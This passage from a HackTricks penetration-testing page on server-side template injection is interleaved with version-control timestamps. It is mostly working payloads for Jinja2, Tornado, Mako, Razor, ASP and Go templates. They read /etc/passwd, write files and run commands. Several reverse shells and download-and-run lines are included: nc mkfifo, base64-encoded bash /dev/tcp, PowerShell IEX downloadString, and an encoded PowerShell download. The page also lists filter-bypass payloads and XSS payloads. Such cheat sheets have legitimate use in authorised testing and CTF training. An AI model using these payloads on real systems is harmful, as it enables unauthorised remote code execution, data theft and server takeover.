2022-04-28 16:08:23 +00:00
#### More information
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
2022-04-28 16:08:23 +00:00
### Python
2021-06-25 16:27:28 +00:00
Check out the following page to learn tricks about **arbitrary command execution bypassing sandboxes** in python:
{% content-ref url="../../misc/basic-python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../misc/basic-python/bypass-python-sandboxes/)
{% endcontent-ref %}
2021-06-25 16:27:28 +00:00
2022-04-28 16:08:23 +00:00
### Tornado (Python)
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{foobar}} = Error`
* `{{7*'7'}} = 7777777`
2021-06-25 12:34:30 +00:00
```python
2022-02-09 16:22:44 +00:00
{% raw %}
{% import foobar %} = Error
2022-02-09 16:22:44 +00:00
{% import os %}
2022-04-06 08:57:29 +00:00
{% endraw %}
2022-04-06 16:21:07 +00:00
2022-04-28 15:47:13 +00:00
2022-04-06 08:57:29 +00:00
{{os.system('whoami')}}
```
2022-04-28 16:08:23 +00:00
#### More information
2022-04-28 16:08:23 +00:00
### Jinja2 (Python)
2021-06-25 12:34:30 +00:00
[Official website](http://jinja.pocoo.org)
2021-06-25 12:34:30 +00:00
> Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.
* `{{7*7}} = Error`
* `${7*7} = ${7*7}`
* `{{foobar}} Nothing`
2021-06-25 12:34:30 +00:00
* `{{4*4}}[[5*5]]`
* `{{7*'7'}} = 7777777`
* `{{config}}`
* `{{config.items()}}`
* `{{settings.SECRET_KEY}}`
* `{{settings}}`
2022-04-06 08:57:29 +00:00
* `<div data-gb-custom-block data-tag="debug"></div>`
2021-06-25 12:34:30 +00:00
```python
2022-02-09 16:22:44 +00:00
{% raw %}
{% debug %}
2022-02-09 16:22:44 +00:00
{% endraw %}
2022-04-06 08:57:29 +00:00
2022-04-06 16:21:07 +00:00
2022-04-28 15:47:13 +00:00
{{settings.SECRET_KEY}}
2021-06-25 12:34:30 +00:00
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
```
2022-04-28 16:08:23 +00:00
#### Jinja2 - Template format
2021-06-25 12:34:30 +00:00
```python
2022-02-09 16:22:44 +00:00
{% raw %}
2021-06-25 12:34:30 +00:00
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
2022-02-09 16:22:44 +00:00
{% endraw %}
2021-06-25 12:34:30 +00:00
```
2022-04-28 16:08:23 +00:00
#### Jinja2 - Debug Statement
2021-06-25 12:34:30 +00:00
If the Debug Extension is enabled, a \`
\` tag will be available to dump the current context as well as the available filters and tests. This is useful to see whats available to use in the template without setting up a debugger.
2021-06-25 12:34:30 +00:00
```python
2022-04-06 08:57:29 +00:00
<pre>
2022-04-06 16:21:07 +00:00
2022-04-28 15:47:13 +00:00
2022-04-06 08:57:29 +00:00
{% raw %}
2022-02-09 16:22:44 +00:00
{% debug %}
2022-04-06 08:57:29 +00:00
{% endraw %}
2022-04-06 16:21:07 +00:00
2022-04-28 15:47:13 +00:00
2022-04-06 08:57:29 +00:00
</pre>
2021-06-25 12:34:30 +00:00
```
Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)
2021-06-25 12:34:30 +00:00
2022-04-28 16:08:23 +00:00
#### Jinja2 - Dump all used classes
2021-06-25 12:34:30 +00:00
```python
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
```
2022-04-28 16:08:23 +00:00
#### Jinja2 - Dump all config variables
2021-06-25 12:34:30 +00:00
```python
2022-02-09 16:22:44 +00:00
{% raw %}
2021-06-25 12:34:30 +00:00
{% for key, value in config.iteritems() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
2022-02-09 16:22:44 +00:00
{% endraw %}
2021-06-25 12:34:30 +00:00
```
2022-04-28 16:08:23 +00:00
#### Jinja2 - Read remote file
2021-06-25 12:34:30 +00:00
```python
# ''.__class__.__mro__[2].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
# https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
```
2022-04-28 16:08:23 +00:00
#### Jinja2 - Write into remote file
2021-06-25 12:34:30 +00:00
```python
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
```
2022-04-28 16:08:23 +00:00
#### Jinja2 - Remote Code Execution
2021-06-25 12:34:30 +00:00
Listen for connection
```
2021-06-25 12:34:30 +00:00
nc -lnvp 8000
```
**Exploit the SSTI by calling subprocess.Popen.**
⚠️ the number 396 will vary depending of the application.
```python
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
```
**Exploit the SSTI by calling Popen without guessing the offset**
```python
2022-02-09 16:22:44 +00:00
{% raw %}
2021-06-25 12:34:30 +00:00
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
2022-02-09 16:22:44 +00:00
{% endraw %}
2021-06-25 12:34:30 +00:00
```
Simply modification of payload to clean up output and facilitate command input ([https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)) In another GET parameter include a variable named "input" that contains the command you want to run (For example: \&input=ls)
2021-06-25 12:34:30 +00:00
```python
2022-02-09 16:22:44 +00:00
{% raw %}
2021-06-25 12:34:30 +00:00
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
2022-02-09 16:22:44 +00:00
{% endraw %}
2021-06-25 12:34:30 +00:00
```
2021-09-27 15:01:45 +00:00
More:
```python
2022-02-12 12:08:47 +00:00
()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()[133]
2021-09-27 15:01:45 +00:00
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ip> <port> >/tmp/f')|attr('read')()}}
2022-04-06 08:57:29 +00:00
2022-04-06 16:21:07 +00:00
2022-04-28 15:47:13 +00:00
2022-02-09 16:22:44 +00:00
{% raw %}
2021-09-27 15:01:45 +00:00
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
2022-02-09 16:22:44 +00:00
{% endraw %}
2021-09-27 15:01:45 +00:00
```
**Exploit SSTI without ""**
2021-06-25 15:02:22 +00:00
```python
2022-02-09 16:22:44 +00:00
{% raw %}
2021-06-25 15:02:22 +00:00
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
2022-02-09 16:22:44 +00:00
{% endraw %}
2022-04-06 08:57:29 +00:00
2021-06-25 15:02:22 +00:00
```
2021-06-25 12:34:30 +00:00
**Exploit the SSTI by writing an evil config file.**
```python
# evil config
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
2021-06-25 12:34:30 +00:00
```
2022-04-28 16:08:23 +00:00
#### Jinja2 - Filter bypass
2021-06-25 12:34:30 +00:00
```python
request.__class__
request["__class__"]
```
Bypassing `_`
```python
http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
```
Bypassing `[` and `]`
```python
http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
or
http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
```
Bypassing `|join`
```python
http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
```
Bypassing most common filters ('.','\_','|join','\[',']','mro' and 'base') by [https://twitter.com/SecGus](https://twitter.com/SecGus):
2021-06-25 12:34:30 +00:00
```python
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr(
```
2022-04-28 16:08:23 +00:00
#### More information
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
2021-10-06 10:13:49 +00:00
* Check [attr trick to bypass blacklisted chars in here](../../misc/basic-python/bypass-python-sandboxes/#python3).
2021-06-07 09:30:58 +00:00
2022-04-28 16:08:23 +00:00
### Mako (Python)
2021-06-07 09:30:58 +00:00
2021-06-25 12:34:30 +00:00
```python
2021-06-07 09:30:58 +00:00
<%
import os
x=os.popen('id').read()
%>
${x}
```
2022-04-28 16:08:23 +00:00
### Razor (.Net)
2020-07-19 21:53:59 +00:00
2022-01-06 11:03:56 +00:00
* `@(2+2) <= Success`
* `@() <= Success`
* `@("{{code}}") <= Success`
* `@ <=Success`
* `@{} <= ERROR!`
* `@{ <= ERRROR!`
2020-07-19 21:53:59 +00:00
* `@(1+2)`
2022-01-06 11:03:56 +00:00
* `@( //C#Code )`
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
2020-07-19 21:53:59 +00:00
The .NET `System.Diagnostics.Process.Start` method can be used to start any process on the server and thus create a webshell. You can find a vulnerable webapp example in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
2020-07-19 21:53:59 +00:00
**More information**
* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/)
2022-01-06 11:03:56 +00:00
* [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)
2020-07-19 21:53:59 +00:00
2022-04-28 16:08:23 +00:00
### ASP
2022-02-03 15:39:58 +00:00
* `<%= 7*7 %>` = 49
* `<%= "foo" %>` = foo
* `<%= foo %>` = Nothing
* `<%= response.write(date()) %>` = \<Date>
```bash
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
2022-04-28 16:08:23 +00:00
#### More Information
2022-02-03 15:39:58 +00:00
* [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp)
2022-04-28 16:08:23 +00:00
### Mojolicious (Perl)
2020-07-26 18:06:17 +00:00
Even if it's perl it uses tags like ERB in Ruby.
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Error`
```
2020-07-26 18:06:17 +00:00
<%= perl code %>
<% perl code %>
```
2022-04-28 16:08:23 +00:00
### SSTI in GO
2021-05-27 10:20:50 +00:00
2022-02-03 00:17:18 +00:00
The way to confirm that the template engine used in the backed is Go you can use these payloads:
2021-05-27 10:20:50 +00:00
2022-02-03 00:17:18 +00:00
* `{{ . }}` = data struct being passed as input to the template
* If the passed data is an object that contains the attribute Password for example, the previous payload would leak it, but you could also do: `{{ .Password }}`
* `{{printf "%s" "ssti" }}` = should output the string ssti in the response
* `{{html "ssti"}}`, `{{js "ssti"}}` = These are a few other payloads which should output the string "ssti" without the trailing words "js" or "html". You can refer to more keywords in the engine [here](https://golang.org/pkg/text/template).
2021-05-27 10:20:50 +00:00
2022-04-28 16:08:23 +00:00
#### XSS exploitation
2022-02-03 00:17:18 +00:00
2022-04-06 08:57:29 +00:00
If the server is **using the text/template** package, XSS is very easy to achieve by **simply** providing your **payload** as input. However, that is **not the case with html/template** as itHTMLencodes the response: `{{"<script>alert(1)</script>"}}` --> `&lt;script&gt;alert(1)&lt;/script&gt;`
2022-02-03 00:17:18 +00:00
However, Go allows to **DEFINE** a whole **template** and then **later call it**. The payload will be something like:\
`{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}`
2022-04-28 16:08:23 +00:00
#### RCE Exploitation
2022-02-03 00:17:18 +00:00
The documentation for both the html/template module can be found [here](https://golang.org/pkg/html/template/), and the documentation for the text/template module can be found [here](https://golang.org/pkg/text/template/), and yes, they do vary, a lot. For example, in **text/templat**e, you can **directly call any public function with the “call” value**, this however, is not the case with html/template.
If you want to find a RCE in go via SSTI, you should know that as you can access the given object to the template with `{{ . }}`, you can also **call the objects methods**. So, imagine that the **passed object has a method called System** that executes the given command, you could abuse it with: `{{ .System("ls") }}`\
Therefore, you will probably **need the source code**. A potential source code for something like that will look like:
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
```
2022-04-28 16:08:23 +00:00
#### More information
2022-02-03 00:17:18 +00:00
* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html)
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
2021-05-27 10:20:50 +00:00
2022-04-28 16:08:23 +00:00
### More Exploits
2021-06-25 12:34:30 +00:00
Check the rest of [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) for more exploits. Also you can find interesting tags information in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
2022-04-28 16:08:23 +00:00
## BlackHat PDF
{% file src="../../.gitbook/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15.pdf" %}
2022-04-28 16:08:23 +00:00
## Related Help
If you think it could be useful, read:
2021-06-07 09:30:58 +00:00
* [Flask tricks](../../pentesting/pentesting-web/flask.md)
* [Python magic functions](../../misc/basic-python/magic-methods.md)
2022-04-28 16:08:23 +00:00
## Tools
{% embed url="https://github.com/epinna/tplmap" %}
2021-06-27 21:56:13 +00:00
2022-04-28 16:08:23 +00:00
## Brute-Force Detection List
2021-06-27 21:56:13 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
2022-04-28 16:08:23 +00:00
## Practice & References
* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
2022-02-03 12:18:21 +00:00
* [**https://portswigger.net/web-security/server-side-template-injection**](https://portswigger.net/web-security/server-side-template-injection)
2022-04-28 16:01:33 +00:00
2022-04-28 16:08:23 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
2022-04-28 16:08:23 +00:00